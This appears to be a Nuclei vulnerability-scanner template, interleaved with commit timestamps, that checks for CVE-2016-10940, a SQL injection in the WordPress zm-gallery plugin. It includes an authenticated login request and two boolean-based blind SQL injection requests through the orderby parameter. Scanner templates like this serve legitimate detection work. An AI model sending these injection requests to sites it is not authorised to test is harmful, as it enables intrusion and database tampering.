2022-02-02 15:27:47 +00:00
id : CVE-2016-10940
info :
2022-04-15 16:39:44 +00:00
name : WordPress zm-gallery plugin 1.0 SQL Injection
2022-04-17 06:29:35 +00:00
author : cckuailong,daffainfo
2022-02-02 15:27:47 +00:00
severity : high
2022-04-15 16:39:44 +00:00
description : zm-gallery plugin 1.0 for WordPress is susceptible to SQL injection via the order parameter.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
2023-09-06 13:22:34 +00:00
remediation : |
Update to the latest version of the zm-gallery plugin or apply the patch provided by the vendor.
2022-02-02 15:27:47 +00:00
reference :
- https://wpscan.com/vulnerability/c0cbd314-0f4f-47db-911d-9b2e974bd0f6
2022-02-02 19:54:10 +00:00
- https://lenonleite.com.br/en/2016/12/16/zm-gallery-1-plugin-wordpress-blind-injection/
2022-02-02 15:27:47 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2016-10940
2022-05-17 09:18:12 +00:00
- http://lenonleite.com.br/en/2016/12/16/zm-gallery-1-plugin-wordpress-blind-injection/
2023-07-11 19:49:27 +00:00
- https://wordpress.org/plugins/zm-gallery/#developers
2022-02-02 15:27:47 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score : 7.2
cve-id : CVE-2016-10940
cwe-id : CWE-89
2023-12-12 11:07:52 +00:00
epss-score : 0.00755
2024-01-14 13:49:27 +00:00
epss-percentile : 0.79034
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:zm-gallery_project:zm-gallery:1.0:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : zm-gallery_project
product : zm-gallery
2023-09-06 13:22:34 +00:00
framework : wordpress
2023-12-05 09:50:33 +00:00
tags : wpscan,cve,cve2016,sqli,wp,wordpress,wp-plugin,authenticated,zm-gallery_project
2022-02-02 15:27:47 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-02-02 15:27:47 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
2022-02-04 19:50:21 +00:00
GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7422)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1
2022-02-02 15:27:47 +00:00
Host : {{Hostname}}
2022-02-04 19:50:21 +00:00
- |
GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7421)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1
Host : {{Hostname}}
2022-02-02 15:27:47 +00:00
matchers :
2022-02-04 19:50:21 +00:00
- type : dsl
dsl :
2022-04-17 06:29:35 +00:00
- 'status_code_1 == 302 && status_code_2 == 200 && status_code_3 == 200'
- 'contains(body_2, "[zm_gallery id=")'
2022-02-04 19:50:21 +00:00
- 'contains(body_2, "<th scope=\"row\" class=\"check-column\">")'
- '!contains(body_3, "<th scope=\"row\" class=\"check-column\">")'
2022-02-04 19:54:10 +00:00
condition : and
2023-12-29 09:30:44 +00:00
# digest: 490a0046304402204099362396e4555f69a7d4857f74ae698a03b3a5db8e54ed829fe71f978db7b6022009679cac44f3f593de368fb42709d1018d3d4d72252df240752b4b83c148803f:922c64590222798bb761d5b6d8e72950